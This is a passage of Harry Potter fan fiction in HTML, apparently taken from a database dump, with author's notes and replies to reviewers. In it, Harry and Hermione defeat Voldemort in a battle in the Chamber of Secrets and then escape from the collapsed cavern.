I&#8217;ve had the same dream for three nights, and I keep dreaming about <i>your</i> dream,&#8221; she told him, and his eyes widened slightly.</p>\n\n<p>&#8220;You dream about it?&#8221; he asked. &#8220;Could you tell me about it?&#8221;</p>\n\n<p>She recited the dream for him, feeling a bit stupid for putting so much thought in a dream. When she finished, he was frowning deeply. Then he shook his head.</p>\n\n<p>&#8220;I can&#8217;t decipher it. The clues are there, but there&#8217;s nothing to tie them together,&#8221; he said.</p>\n\n<p>&#8220;It&#8217;s only a dream, Harry,&#8221; she said, fingering the hem of her sleeve. &#8220;I&#8217;m certain that it&#8217;s not important. I&#8217;m just being stupid.&#8221;</p>\n\n<p>&#8220;You&#8217;re not stupid!&#8221; Harry said vehemently. He laid an arm around her shoulder. &#8220;You&#8217;re the smartest girl I know,&#8221; he said gently, and leaned in to kiss her.</p>\n\n<p>Behind them, Dumbledore gave a discreet cough, and the two jumped apart, blushing furiously. They&#8217;d both forgotten that he was there.</p>\n\n<p>&#8220;Perhaps we should try to figure out that dream of yours, Hermione,&#8221; he said, smiling his most annoying paternal smile.</p>\n\n<p>&#8220;Er, well,&#8221; Harry said. &#8220;Firstly, Hermione, your dream <i>is </i>important. You have something called a Dream Talent, which makes you able to See certain things while dreaming.&#8221;</p>\n\n<p>&#8220;You mean I&#8217;m a Seer?&#8221; Hermione asked, horrified.</p>\n\n<p>Harry laughed at her outburst. &#8220;No, the Dream Talent is a very strange Talent. You have to know some facts, and then you dream about some facts you don&#8217;t know. You can actually see the cover and title of a book, and then you dream that you&#8217;re reading the book, and what you read <i>is</i> really what is written in the book.&#8221; Hermione looked delighted at that thought.</p>\n\n<p>&#8220;But there are other aspects to the Dream Talent,&#8221; Harry continued. &#8220;You banished my nightmares just a few months ago. I haven&#8217;t slept that peacefully in years.&#8221;</p>\n\n<p>And Hermione remembered other things that had happened. How she could have a nightmare and wake up practically screaming, and yet feel completely rested, and how the nightmare never came again. She had found that strange, since she had a tendency of having the same nightmare over and over again. She had had a nightmare following her since she was five. It didn&#8217;t come often, but she had it at least a few times each year. Now she remembered that she hadn&#8217;t had it for more than eight months.</p>\n\n<p>And also&#8230; &#8220;I dreamt about you!&#8221; she exclaimed. &#8220;Before I found out that you were the Defence Professor, Harry, then I dreamt about you.&#8221; She clutched Harry&#8217;s hand excitedly. &#8220;My dreams tried to tell me about who you were, and that I-&#8221; She stopped. She had intended to say &#8216;and that I loved you&#8217;, before she remembered that Professor Dumbledore was in the room still.</p>\n\n<p>Both of the two males had figured out what she didn&#8217;t say however, and Harry squeezed her hand gently. She looked down and turned red for the second time that evening.</p>\n\n<p>&#8220;We have to look into that dream of yours,&#8221; Harry said. &#8220;But I don&#8217;t know how, and somehow I feel that we should do it as soon as possible.&#8221;</p>\n\n<p>&#8220;But how?&#8221; Hermione asked, but Harry was as blank as she was. The only way they knew of, was going to sleep so she could dream again.</p>\n\n<p>Luckily, Dumbledore knew what to do. &#8220;You could borrow my pensieve,&#8221; he suggested, and both Harry and Hermione agreed. That would be quick and reliable, and they would be able to see the dream from different angles.</p>\n\n<p>~*~</p>\n\n<p>Hermione stared at the silvery liquid in Dumbledore&#8217;s stone basin. That was her dream. <i>Weird.</i> She knew everything there was to know about pensieves, of course, but it was still weird to actually use one. With a deep breath, she touched the substance, and the floor tipped. With a lurch she was pulled into the pensieve, and landed on a dirty stone floor. A few seconds later she was joined by Dumbledore, and then Harry. Harry smiled reassuringly at her and took her hand. Then, they looked around.</p>\n\n<p>Hermione looked up, as the snake slithered out of the tunnel she&#8217;d dreamt of. Of course, she realised. They couldn&#8217;t actually follow the snake through the tunnel, since it was too small for a human several places.</p>\n\n<p>Harry had stiffened. &#8220;Nagini!&#8221; he gasped and the two others turned to him.</p>\n\n<p>&#8220;Yes,&#8221; Dumbledore murmured. &#8220;Tom&#8217;s snake.&#8221;</p>\n\n<p>Hermione turned to see if he could recognise the place, but just then, the scenes shifted to the one where the little boy fought the snake.</p>\n\n<p>And now she finally understood. The boy waved a ruby-encrusted sword at a giant snake, who had blood running from its eyes, and a great golden phoenix flew about.</p>\n\n<p>It was Harry, fighting the basilisk in his second year.</p>\n\n<p>&#8220;The Chamber of Secrets,&#8221; Harry breathed.</p>\n\n<p>And then, the dream shifted to the third and last scene, of Voldemort and his Death Eaters.</p>\n\n<p>Startled, both Hermione and Dumbledore turned towards Harry, who was broad-casting his emotions all of a sudden. He was clutching Hermione&#8217;s hand so hard it hurt.</p>\n\n<p>&#8220;Harry?&#8221; she asked.</p>\n\n<p>&#8220;I dreamt about this,&#8221; he said absently. &#8220;Several months ago, Voldemort was having a fit, and he said something like &#8216;Nagini will find a way.&#8217;&#8221; His expression darkened. &#8220;It appears that she did.&#8221;</p>\n\n<p>&#8220;You mean that Nagini has found a way into the Chamber of Secrets from the outside,&#8221; Dumbledore stated, and Harry nodded.</p>\n\n<p>&#8220;She found it three days ago, and I dreamt about it. Soon Voldemort will be invading Hogwarts.&#8221;</p>\n\n<p>Hermione shuddered at that.</p>\n\n<p>&#8220;Then we must go back and prepare the defence,&#8221; Dumbledore concluded, his eyes void of the usual twinkle.</p>\n\n<p>Harry didn&#8217;t answer.</p>\n\n<p>For some long seconds he stood quite still, his eyes looking at something no one else could see.</p>\n\n<p>&#8220;It&#8217;s too late,&#8221; he said at last.</p>\n\n<p>~*~</p>\n\n<p>====================</p>\n\n<p>I just love cliff-hangers. Don&#8217;t you?</p>\n\n<p><b>Disclaimer: </b>Harry Potter belongs to JKR, this story to me, and it&#8217;s beta-read by the-dreamer. Go us all.</p>\n\n<p>Sorry about the cliffie, but I can&#8217;t help it. I get this kick when I write them. It&#8217;s sadistic, I know.</p>\n\n<p>Anyway, thanks to those who reviewed. I&#8217;ll go send those e-mails now, and get this onto Schnoogle, too. And yes, I&#8217;m working the next chapter (eleven pages now) and will get it out as soon as possible.</p>\n\n<p>JonClift: You stole my trademark! &#8211;accusing glare&#8211; Thanks btw.</p>\n\n<p>Slypiad: Progress? What&#8217;s that?</p>\n\n<p>Avalon: Why don&#8217;t use the &#8216;Notify Me&#8217; button? Sorry I didn&#8217;t mail you this time. My trip to <st1:country-region><st1:place>Germany</st1:place></st1:country-region> interrupted my schedule&#8230; Thanks btw.</p>\n\n<p>S&#242;ven: Thanks. Swedish? Kjenner et par svensker&#8230; G&#229;r det an &#229; si &#8217;du er galen bra&#8217;? Won&#8217;t work in Norwegian&#8230;</p>\n\n<p>NEVEHA: -deadpans- It was long. Okaaaaayyyy. Readers usually complain about the opposite. Well, I don&#8217;t mind changes. ;) Thanks, go you.</p>\n\n<p>Kira: Okay, okay!</p>\n\n<p>Eric Wilke: That is kind of the whole point&#8230;</p>\n\n<p>Thanks to everyone who reviewed. Go you.</p>\n\n<p>Rachel</p> '),
	(234, 18, ' <p><b>Chapter Eighteen: Breaking Storm</b></p>\n\n<p>They felt it when they emerged from the pensieve. Hermione delved deeply into the earth with her mind, and got the impression of many big living things down there. Harry sent Air out, and caught the scent of many humans, panting and sweating in a deep tunnel, using their wands to slice through rock where it was too narrow or too low. The air was heavy and difficult to breathe in. But the air was getting lighter, and the tunnel soon widened into a big cave, where the Death Eaters didn&#8217;t have to use their wands to clear their way.</p>\n\n<p>Both Harry and Hermione knew where it was.</p>\n\n<p>The chamber of Slandrin Slytherin, more known as Salazar&#8217;s, where the corpse of the Basilisk still rested.</p>\n\n<p>They both heard Dumbledore send out a telepathic message, and Hermione turned and looked accusingly at him.</p>\n\n<p>&#8220;You never told us about that Talent,&#8221; she said, and Dumbledore winked at her. The situation was too serious, however, to dwell on such matters.</p>\n\n<p>&#8220;There is still time, Harry,&#8221; he said. &#8220;I have stopped the members who haven&#8217;t left the castle yet, and those who live here at Hogwarts for the time being. A message has been sent to those who weren&#8217;t present, too. They will hasten to our aid.&#8221; Dumbledore looked at them gravely. &#8220;Now we must go to the Chamber, for we can not allow him into the school. We must meet him down there.&#8221;</p>\n\n<p>The two teens looked at each other, and nodded gravely. Both knew with certainty that this was their destiny. Either they would die today, or Voldemort would. They hardly had the time to become frightened.</p>\n\n<p>Harry took Hermione&#8217;s hand in his and drew her close. He tilted her chin and kissed her lovingly and tenderly. Their eyes meet, and Hermione smiled at him.</p>\n\n<p>Their hands still entwined, they left the Headmaster&#8217;s office, hurrying towards Moaning Myrtle&#8217;s bathroom.</p>\n\n<p>~*~</p>\n\n<p>Harry paid no attention to the adults who were gathering behind him: teachers, Aurors, Unspeakables; many of them members of the Order of the <st1:city><st1:place>Phoenix</st1:place></st1:city>. His mind was on what lay before him, or rather, under him.</p>\n\n<p>He hesitated only a fraction of a second. &#8220;Open,&#8221; he said, in the tongue of the snakes. More than one of those around him shuddered at the hiss that came from his mouth.</p>\n\n<p>Again it lay before him, as it had several years before: the entrance to the Chamber of Secrets. Only this time, its secret was dead, and a far more dangerous foe was waiting for him.</p>\n\n<p>He let go of Hermione&#8217;s hand, and crawled into the slimy pipe he had to slide through to come to the bottom.</p>\n\n<p>The ride seemed much longer this time, and much darker. Last time he&#8217;d been here it had been to save Ginny, his best friend&#8217;s sister. This time, it was to meet his own fate.</p>\n\n<p>He landed in a heap on the bottom, and got to his feet quickly, listening for sounds of a potential enemy. He Shifted his eyes into those of an owl, so that he didn&#8217;t need any light to see. He heard Hermione land beside him, and helped her to her feet. It felt good to have her here, even though he was afraid for her safety.</p>\n\n<p>They moved out of the way as more people came down, and Harry did manage a flicker of amusement when he saw Dumbledore, wondering how he managed to look dignified, with every strand of hair in place, and not a stain on his robes after that ride.</p>\n\n<p>&#8220;Show the way, Harry,&#8221; Dumbledore said. &#8220;You&#8217;ve been here before.&#8221;</p>\n\n<p>It was like walking in a dream. He saw, and remembered. He noticed the small skeletons of mice and rats and other small animals that&#8217;d fallen prey to the Basilisk. Water dripped from the walls. The tunnel twisted and turned while they walked in silence, the only sound being muffled footsteps.</p>\n\n<p>In the end, they came to the place where the roof had caved in. When he was twelve, he had not dared to try to use magic to remove the stones, and now, when he was seventeen, he didn&#8217;t have to remove the stones. A simple charm cut into the stone like butter, and carved out an archway, wide enough to walk through.</p>\n\n<p>Then, the muffled footsteps continued onwards.</p>\n\n<p>They came to the last door, and Harry stopped in front of it. On the other side, was Voldemort. He knew it.</p>\n\n<p>They had been quick, not all of the Death Eaters had come through yet, and he knew that if they attacked now, they could destroy the tunnel, and bury the Death Eaters still inside under many tons of stone.</p>\n\n<p>He looked at Hermione, and she nodded, her face pale. It was a cruel act, but it was necessary. If one side was to survive, the other had to die. This was war, and war made its own rules.</p>\n\n<p>A lot of people were behind them now. Almost a hundred. Most of them resided in Hogwarts for the time being, others were Order members who&#8217;d been in the castle, and Harry knew more would come. The Aurors were alerted, and so were the Order members outside Hogwarts. But they couldn&#8217;t wait.</p>\n\n<p>&#8220;Open.&#8221; Harry&#8217;s hiss resounded in the tunnel, sending chills down spines. And the door opened.</p>\n\n<p>There was a rumble. Hermione, who stood close to Harry, buried her face in his shoulder as the second tunnel collapsed, and more than two hundred Death Eaters were buried alive. Though, they didn&#8217;t stay alive for long.</p>\n\n<p>With one single thought, Hermione had killed two hundred, and there were still many awful things left to do.</p>\n\n<p>By now, Voldemort had noticed them, of course, and the battle began in earnest.</p>\n\n<p>~*~</p>\n\n<p>Hermione and Harry stayed close together. Even though a third of Voldemort&#8217;s forces were killed, he still outnumbered them by far. They caught a glimpse of Dumbledore as he sent a beam of bright red light at his attackers. Professor Flitwick was there, too, sending curses right and left. Professor Snape spun around and used the knowledge he&#8217;d acquired as a Death Eater to take down man upon man. Professor McGonagall transfigured stones and rubble into obstacles for the Death Eaters to cross, and fired stunner upon stunner against those who opposed to her.</p>\n\n<p>Harry and Hermione did their part too, taking out as many as possible on their way, while trying to remain inconspicuous, as they probably were the main target here. They had to get to Voldemort.</p>\n\n<p>But that wasn&#8217;t so easy, for he was at the far end of the chamber, protected by his minions, who were killing all those who came close enough to get a shot at him</p>\n\n<p>The defenders had the advantage of skill.</p>\n\n<p>The attackers had the advantage of numbers.</p>\n\n<p>However, Harry could see people coming to aid their fight, people who had hurried to Hogwarts when they heard of the attack. At one point more than seventy Aurors had rushed through the opening and saved a small group of Order members, who&#8217;d been hard pressed by the Death Eaters. But it wasn&#8217;t enough.</p>\n\n<p>He knew, as he watched the rage of the battle that it was up to him and Hermione now. It was upon their shoulders the fate of the world rested.</p>\n\n<p>What a curious notion.</p>\n\n<p>~*~</p>\n\n<p>This was it, Ron knew. This was what he was born for. All events in his life led up to this. Why he didn&#8217;t know, but as Asham had said: <i>&#8216;There are many things you don&#8217;t know. Don&#8217;t dwell on that, but concentrate on what you do know.&#8217;</i></p>\n\n<p>He was in the void again, the small candles which were humans were obvious to him now, and he could see many of them gathered in one place, all of them burning brightly. But now and then, some of them suddenly burned out and died. Ron knew what it was. The one which burned with a black flame was Voldemort, and the two who where closing in on him, the two bright ones, which burned more brightly than anyone else, were his two friends.</p>\n\n<p>He nudged the Element. He wanted to help. If he only could get his Element to pour some of its power into the Pectal and Citatio&#8230;</p>\n\n<p>But Fire couldn&#8217;t do that. Fire had no favourites; it treated everyone equally. But then, the two bright candles drew closer, and Ron realised what was happening. Slowly, they merged, and became one.</p>\n\n<p>The one flame grew brighter, bigger and stronger, and Fire engulfed it with its strength. For when something is created, one of the Elements always comes to rejoice about the new being.</p>\n\n<p>~*~</p>\n\n<p>Something was happening; Blaise knew it. She looked into the <st1:place><st1:placetype>Lake</st1:placetype> of <st1:placename>Water</st1:placename></st1:place>. Each little drop of water was a human, and she could see a group of them, locked in battle. How she could see that, she didn&#8217;t know, as she normally shouldn&#8217;t be able to tell one from the other. But this was no normal lake.</p>\n\n<p>In one part of the lake, a dark, tainted puddle obscured the clear surface.</p>\n\n<p>Suddenly, Water reacted. Fire had done something, and Blaise could sense it. And hadn&#8217;t all four Elements agreed on co-operating? Water lashed out, and a flash of bright light could be seen all over the lake, and Water encircled the new creation.</p>\n\n<p>~*~</p>\n\n<p>The Air apprentice watched as Air followed Water and Fire&#8217;s lead, and surrounded the two powerful beings, who had become one. He probed gently, and saw that there were two powerful minds, and the connection was not only between those minds, but they were tied by the Light Element itself, and through the Light, the four Elements of Fire, Water, Air and Earth.</p>\n\n<p>~*~</p>\n\n<p>The Earth apprentice watched as Earth did as Air, Water and Fire, and closed around Light&#8217;s Warriors. He, too, saw the connection between the two, and wondered. <b></b></p>\n\n<p>~*~</p>\n\n<p>They were noticed. Harry and Hermione stood back to back in the middle of the chamber, fighting off what seemed like hordes of Death Eaters. Harry had lost count as to how many times he&#8217;d had to recast the killing curse shield, and he was now sporting a powerful shield which stopped both magical and physical attack, while Hermione was cursing everyone who came close into oblivion. The cynical part of Harry&#8217;s brain reminded him never to get on her wrong side.</p>\n\n<p>Fortunately, Harry and Hermione weren&#8217;t alone in the Chamber, and the Death Eaters had to fight off others, too. A group of Aurors attacked from the side, and drove off a good portion of them, making it a bit easier for the two.</p>\n\n<p>It was then Harry spotted Sirus, locked in battle with three Death Eaters. He was fighting bravely for every inch of ground he lost, but would soon meet the wall, quite literally.</p>\n\n<p>Magically enhancing his abilities, Harry jumped over ten Death Eaters and blasted Sirius&#8217;s opponents to the ground. Sirius shot him a thankful glance and ran to join a group of defenders, who were in a relatively safe spot.</p>\n\n<p>It was then Harry realised his unforgivable mistake. In his hurry to rescue his godfather, he&#8217;d left Hermione alone. She was doing a good job of defending herself, but defence was defence, and she was being forced backwards, towards the far end of the Chamber, near the now collapsed &#8216;new&#8217; tunnel.</p>\n\n<p>He felt a sharp pain in his left shoulder, and rounded on the Death Eater who&#8217;d sent the curse, sending a blast of purple light at him. He stumbled to the ground without a sound.</p>\n\n<p>The Cruciatus curse hit his chest, and he winced in pain, before he got control over it. With a bit of pain he could absorb the curse, even though he couldn&#8217;t shield against it. Hermione could do the same, but not as well, because women generally had higher tolerance for pain. She just couldn&#8217;t get her mind around to suppressing the pain properly, as her tolerance told her that she had to hold out. And if she wasn&#8217;t prepared, she&#8217;d just grit her teeth and scream, waiting for it to stop. It didn&#8217;t really make all that much sense to Harry, since the higher pain tolerance should, logically, make it easier for her than for him, but that was the way it was.</p>\n\n<p>And that was what felled her. In her battle, she&#8217;d forgotten Voldemort. He came up behind her, and she didn&#8217;t notice. Harry did though, and froze.</p>\n\n<p>That fraction of a second was all Draco Malfoy needed to send him crashing into a stone pillar.</p>\n\n<p>He heard her before he saw her. Rolling to his feet, his heart cried out to her, as she writhed under the pain curse Voldemort had placed upon her.</p>\n\n<p>The entire chamber became silent, except for the insane chuckle of the Dark Lord, and Hermione&#8217;s cries. After what seemed like an eternity he finally lifted the curse. Harry desperately watched the near-unconscious Hermione at his feet, but he knew Voldemort would kill her if he moved.</p>\n\n<p>The Death Eaters moved in on the stunned Light wizards, and since they were outnumbered at least two to one, they could do nothing. Those who put up a fight were killed instantly.</p>\n\n<p>Voldemort locked eyes with Harry. &#8220;Lower your shield,&#8221; he said, and Harry realised that he&#8217;d erected a shield without knowing it.</p>\n\n<p>Harry&#8217;s brain felt like it was filled with mud. No thoughts managed to penetrate the thick fog that encircled his brain. He was staring at Hermione, transfixed. His emotions were in turmoil, and only one thing got through: <i>Hermione!</i></p>\n\n<p>There was a second.</p>\n\n<p>And another.</p>\n\n<p>A searing pain shot through Harry&#8217;s scar.</p>\n\n<p>&#8220;Crucio!&#8221;</p>\n\n<p>And Hermione screamed again. Her anguished cry rang through his brain and echoed in the far corners of his consciousness. Her mental cry was far worse than her vocal one.</p>\n\n<p>Something broke inside him then, and several of the pillars in the chamber were reduced to rubble and splints. A powerful wave of energy washed over Voldemort, and he staggered backwards.</p>\n\n<p>The curse was lifted, but Hermione didn&#8217;t leave his mind. A desperate part of her clung to him, and it felt like she was begging for him to do &#8230; something. But what?</p>\n\n<p>And then, he understood. He saw his destiny laid out before him, like a plain, new road in his mind. And he embraced her presence in his mind, savouring it, empowering it, comforting it. It came to him, as a wonderful feeling of closeness, and he was certain he felt her hands on his chest, and her lips on his. Feather light touches and whispered words of love.</p>\n\n<p>Voldemort had regained his footing, and aimed his hand at Hermione, intending to kill her with a powerful blast of magic.</p>\n\n<p>Their souls burned as one, and together they lashed out. Calmly, Harry looked at his enemy as the deadly energy sped towards Hermione. He felt as it entered her, and consumed her, and he felt her pain, for she wasn&#8217;t she anymore. She was also he, and he was she. And as Voldemort tried to cut those threads which were her life, they reached out together, and grabbed hold of him.</p>\n\n<p>Faster than the light, they shot back up, followed the stream of energy back to its caster, and realised that they could see the heartstrings which are the life of any living being. There were six of them: Light and Dark, Fire and Water, Air and Earth. All of them were tainted and full of repulsive energy. </p>\n\n<p>One by one, they cut them and severed them and burnt them, and for each one, the Dark Lord screamed.</p>\n\n<p>Those who saw it said afterwards that the three of them were illuminated in light; Voldemort&#8217;s light was dark and tainted, but Harry&#8217;s and Hermione&#8217;s light was white and pure.</p>\n\n<p>Powerful shockwaves rippled through the chamber, as rings on a water surface. One by one the great pillars that supported the roof were splintered, and everyone was thrown to the ground.</p>\n\n<p>The dark light faded, and a gentle, golden and silvery light cast soft shadows across the chamber.</p>\n\n<p>And then,<b>\n\n</b>slowly, ponderously, the cavern that was the Chamber of Secrets cracked, shifted, and collapsed above them with a deafening thunder.<b></b></p>\n\n<p>~*~</p>\n\n<p>When the shockwaves rippled through the chamber, everyone except Harry (Hermione already being down) had been thrown to the ground. When the ceiling fell down upon them, Harry had managed to draw everyone close to him, in the middle of the chamber. How he had managed that he didn&#8217;t know; his brain and magic had acted purely on instinct.</p>\n\n<p>He could still feel the connection with Hermione, though not as strong as it had been. She was still alive, though unconscious, and an enormous relief came with that knowledge. Later he&#8217;d have to kick himself for not protecting her properly, but he didn&#8217;t have time for that right now.</p>\n\n<p>He assumed that his shield was the only thing between everyone in the chamber (both living and dead) and about several cubic kilometres of stone. He realised that Voldemort&#8217;s last outpour of power had been greater than he first thought.</p>\n\n<p>The small cave Harry had made was low; he probably couldn&#8217;t stand upright. It was also very dark; no source of light got through. Suddenly, someone lighted a wand not far from him, and he stiffened. Quickly he probed through the minds of those around him, most of which were unconscious or only half-conscious. This made it easy for him to find those who bore the Dark Mark, and put them to sleep. It wasn&#8217;t actually sleep though; he just trapped their minds, a thing he wouldn&#8217;t be able to do with so many if they&#8217;d been awake. He certainly didn&#8217;t need to have to fight his way out of this situation.</p>\n\n<p>The Light wizards were soon on their feet &#8211; or rather, their knees. Several lit their wands with the Lumos spell, and Harry rushed over to Hermione. She was laying only a few feet away from him, and seemed to be almost unhurt; her breathing was even and her heartbeat steady. He gritted his teeth at the thought of what Voldemort had done to her, and hoisted her up in his lap, cradling her protectively to his chest.</p>\n\n<p>However, Hermione&#8217;s health, being stable, had to stand in line for the time being. Dumbledore, who&#8217;d gotten through the whole ordeal without a scratch, came over to him, and Harry told him what his magical senses had told him. Dumbledore immediately sent several spellcasters to try to find a way out.</p>\n\n<p>&#8220;Harry,&#8221; he asked. &#8220;Which way is the tunnel we came through?&#8221;</p>\n\n<p>Harry thought for a moment, and tried to feel with Air, but he couldn&#8217;t get through. He frowned, puzzled and worried. &#8220;It seems like this cave has no Air supply. It&#8217;s hermetically closed.&#8221;</p>\n\n<p>Dumbledore frowned. &#8220;Then we&#8217;ll probably suffocate long before we get out,&#8221; he said worriedly.</p>\n\n<p>Harry shook his head. &#8220;I&#8217;m an Air Manipulator. I can convert carbon-dioxide to oxygen, and maintain the nitrogen.&#8221; He looked around, seeing the walls dripping with water. &#8220;And I don&#8217;t think dihydrogen-oxide will be a big problem either, though the fine gasses might.&#8221;</p>\n\n<p>&#8220;We will have to do without then. Just do your best, and give us the time we need to get out of here,&#8221; Dumbledore said. &#8220;There is a chance that the first tunnel hasn&#8217;t collapsed.&#8221;</p>\n\n<p>They figured, with the help of a bit logic thinking and a point-me spell, that they had come from the north end of the chamber, and started getting the rock out of the way. During this Harry did his best to maintain the air supply, and he also had to expand his shield as the digging started. Soon they had a small tunnel, but the smell of burnt and melted stone was none too pleasant, so they tried to just move the rocks as much as possible, but some were just too big. Those who couldn&#8217;t help digging checked the wounded, and put those who had to be carried out of the cave in a stasis, so their condition wouldn&#8217;t grow worse.</p>\n\n<p>Then suddenly, the strain on his shield increased. The diggers had found a rather big air pocket, only it wasn&#8217;t air.</p>\n\n<p>It was water.</p>\n\n<p>They realised why it was so wet everywhere. The chamber was lying directly under the lake. When the ceiling caved in, water from the lake had filled it.</p>\n\n<p>Dumbledore came back to Harry. &#8220;It seems like we have some more trouble,&#8221; said he. &#8220;First of all, the tunnel has actually caved in, even though we don&#8217;t know how far, and then there is the water.&#8221; He looked grave. &#8220;The question is: how do we get out? We can&#8217;t carve our way back up the tunnel; it&#8217;s too far.&#8221;</p>\n\n<p>&#8220;We can swim.&#8221;</p>\n\n<p>The two males turned to the person who&#8217;d spoken.</p>\n\n<p>&#8220;Hermione!&#8221; cried Harry, relieved, before he kissed her soundly on her lips.</p>\n\n<p>&#8220;I&#8217;m glad to see you too, Harry,&#8221; she smiled when they came up for air. &#8220;But I think we have to get out of here.&#8221;</p>\n\n<p>&#8220;And you propose that we swim?&#8221; questioned Dumbledore, his eyes twinkling madly once again.</p>\n\n<p>&#8220;Why, yes. It&#8217;s a large fissure all the way up to the bottom of the lake &#8211; save that&#8217;s not the bottom of the lake anymore. A bubble-head charm with a strong protection and non-burst charm should get everyone up safely,&#8221; she answered.</p>\n\n<p>Dumbledore looked at her, and then Harry. &#8220;Can you take care of the pressure issue? Rising that many metres through water is very dangerous.&#8221;</p>\n\n<p>Harry nodded. &#8220;It&#8217;s easily done. I guess Hermione can help some too, as she&#8217;s a Water Manipulator.&#8221;</p>\n\n<p>And so they did. Upon Hermione&#8217;s directions, they carved their way upwards for about twenty metres, and found themselves in water. Now several of the other wizards had joined Harry in holding the shield; the water pressure was giving them a hard time. The rock wasn&#8217;t difficult; it stayed relatively calm, and the rocks rested upon each other. Several places they didn&#8217;t even have to support the roof. The water however, was moving, and pressing towards their shields, making the job hard and energy-consuming.</p>\n\n<p>Sirius went first. With his wand lighted, and a mental map from Hermione placed in his mind, he started upwards. Hermione followed him with her mind, and after fifteen minutes she announced that Sirius had reached the surface.</p>\n\n<p>Harry laid his arms around her waist and told her in simple turns how much he loved her and how convenient it was to have such a beautiful, lovable, intelligent Earth and Water Manipulator for a girlfriend.</p>\n\n<p>When it was confirmed that there indeed was a way out &#8211; a labyrinth of rocks &#8211; they started sending people up. They were sent in pairs; two and two, each having two dead or unconscious bodies in tow. </p>\n\n<p>It took several hours, and in the end, Harry and Hermione were the only ones left. Harry because he had to hold the shield and Hermione because she refused to leave him. Standing alone in the chamber, Harry took a firm hold of Hermione (he refused to let her exert herself in any un-necessary way) and allowed the little shield he was still holding to evaporate. With the help of his and Hermione&#8217;s Water abilities, they made their way towards the surface.</p>\n\n<p>~*~</p>\n\n<p>Ron was confused when Asham pulled him out of the Fire. He knew he had done what he was supposed to do, but he didn&#8217;t really understand <i>what</i> he&#8217;d done.</p>\n\n<p>&#8220;Well done!&#8221; Asham exclaimed. &#8220;You did it!&#8221;</p>\n\n<p>Ron looked at the man, who he&#8217;d come to know as more than slightly eccentric. &#8220;Exactly what did I do?&#8221; he asked, irritated.</p>\n\n<p>Asham laughed. &#8220;It was rather what you <i>didn&#8217;t </i>do that is the matter here,&#8221; he said, and when Ron glared at him, he sat down to explain.</p>\n\n<p>&#8220;You see,&#8221; he said, &#8220;when you are the Guardian of an Element, you <i>are </i>the Element, or a physical manifestation of the Element. Your instincts are your Element&#8217;s, and you do what the Element wants. The only influence you have on it is you rational thoughts, which can help to change its mind.&#8221; Asham smiled widely. &#8220;You however, aren&#8217;t a Guardian yet, and you still have your own instincts and your own mind. Today your instinct was to help the Light to vanquish the Dark, while Fire&#8217;s instinct was to either ignore both, or help both. The Elements are almost always neutral, even though they sometimes will help the Light, like it did today, while not helping the Dark. They like the formulation of &#8216;silent support&#8217; very much,&#8221; said Asham wryly, before beaming at him in pride &#8211; which strangely made Ron feel a small twinge of happiness.</p>\n\n<p>&#8220;You, however, weren&#8217;t willing to help Dark, and somehow, the Element followed your will.&#8221;</p>\n\n<p>&#8220;But it didn&#8217;t!&#8221; Ron exclaimed. &#8220;I wanted it to strengthen the Order, but it didn&#8217;t!&#8221; He was rather put out because he didn&#8217;t have the chance to be there and help. Perhaps he would have been rewarded for his courage.</p>\n\n<p>&#8220;Yes, it did,&#8221; Asham replied. &#8220;While it didn&#8217;t empower the Children of Power, it allowed them to bond, and thus made them able to destroy Voldemort. All the Elements agreed, and every single one of them came to the &#8216;celebration&#8217; of the bonding, thanks to the co-operation pact. Also, they allowed your two friends to kill Voldemort by cutting all Elements off. While they could have killed his physical body without this help, Voldemort was too little of a human to be killed completely. However, since the Elements actually <i>did </i>allow it to happen, he is now as dead as he can be, and won&#8217;t come back again. All traces of him, except his body, will forever be gone.&#8221;</p>\n\n<p>This made Ron interested. &#8220;How?&#8221; he asked.</p>\n\n<p>&#8220;All spells he&#8217;s cast &#8211; except those that have a lasting effect, of course, will be reversed. It doesn&#8217;t mean that those he&#8217;s killed will wake up though, &#8216;because they are dead. It&#8217;s not the spell that&#8217;s keeping them dead. It&#8217;s the same with removed limbs. The limb is gone even though the spell isn&#8217;t working anymore. It&#8217;s other spells I&#8217;m talking about, like protection spells he&#8217;s cast. If he&#8217;s ever magically built something, it will collapse, and the Dark Mark his minions are wearing will forever disappear.&#8221;</p>\n\n<p>&#8220;What?&#8221; Ron exclaimed. &#8220;But how will we then be able to find them? The Mark is often the only proof!&#8221; And he who had hoped he could help there&#8230; He was sure Blaise would know some names. Without knowing it his eyes turned all dreamy and Asham had to hide a smirk, before he scolded the boy.</p>\n\n<p>&#8220;Weren&#8217;t you listening boy? The binding spell is in the person. The Mark is only a tattoo.&#8221; He smiled smugly. &#8220;Won&#8217;t disappear in a while, that one.&#8221;<b></b></p>\n\n<p>~*~</p>\n\n<p>Harry woke up and found himself in a bed. Sleepily he blinked at the light, and turned on his side, wanting to sink into the comfortable oblivion of sleep once again. The mattress was comfortable and warm, and actually leaving this place wasn&#8217;t even on his mind.</p>\n\n<p>It was then he felt a gentle hand on his forehead, and his eyes shot open, before closing again. Deep inside him, he felt something stir. It was a lovely feeling of affection and care. It was also distinctly feminine. The hand stroked gently through his locks, and he wondered if this was what a mother&#8217;s touch would feel like. Yet he knew it wasn&#8217;t a mother&#8217;s touch, even though it was a touch he craved and needed. Loved, even</p>\n\n<p><i>Oh.</i> His mind started working again. <i>The connection.</i> He couldn&#8217;t help but smile.</p>\n\n<p>&lt;What are you doing here, Hermione?&gt; he asked.</p>\n\n<p>He heard a soft laugh in his ear. &#8220;Watching you, of course, and waiting for you to wake up.&#8221;</p>\n\n<p>He opened his eyes and rose onto one elbow. Now he recognised the place; a hospital. <i>How unusual.</i> But for a change, it wasn&#8217;t the <st1:place><st1:placename>Hogwarts</st1:placename>\n\n<st1:placetype>Hospital</st1:placetype></st1:place> wing.</p>\n\n<p>He raised his eyebrows, and Hermione answered his unasked question.</p>\n\n<p>&#8220;You&#8217;re at St. Mungo&#8217;s, Harry,<b>\n\n</b>and you&#8217;ve been out for thirty-six hours.&#8221; </p>\n\n<p>He sighed, but was touched at the concern in her voice. There was something he had to ask, however. &#8220;Could you tell me what happened after we got out of the Chamber?&#8221; He would rather have liked to kiss her and declare his eternal love for her, and forget the world, but it was slightly important.</p>\n\n<p>&#8220;After you fainted, you mean?&#8221; she asked, faint amusement tingeing her voice.</p>\n\n<p>&#8220;Ha-ha,&#8221; he muttered. &#8220;Not my fault Malfoy felt the need to crush my rib-cage.&#8221;</p>\n\n<p>Hermione&#8217;s now obvious amusement did nothing to his damaged pride. &#8220;Well,&#8221; she said, &#8220;the wounded were taken care of, and sent here, to St. Mungo&#8217;s, since the Hospital wing at Hogwarts couldn&#8217;t take them &#8211; there were other things to take care off at 